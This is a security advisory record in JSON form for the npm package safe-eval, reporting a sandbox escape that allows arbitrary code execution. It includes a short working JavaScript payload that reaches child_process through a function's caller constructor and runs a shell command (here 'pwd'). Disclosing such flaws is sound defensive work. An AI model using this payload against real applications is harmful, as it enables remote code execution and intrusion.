{"id":"GHSA-9pcf-h8q9-63f6","aliases":[],"url":"https://o3.security/vulnerability/GHSA-9pcf-h8q9-63f6","summary":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","details":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() => { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","published":"2020-09-03T17:12:41Z","modified":"2020-08-31T18:44:49Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"safe-eval","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1033"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2020-08-31T18:44:49Z"}}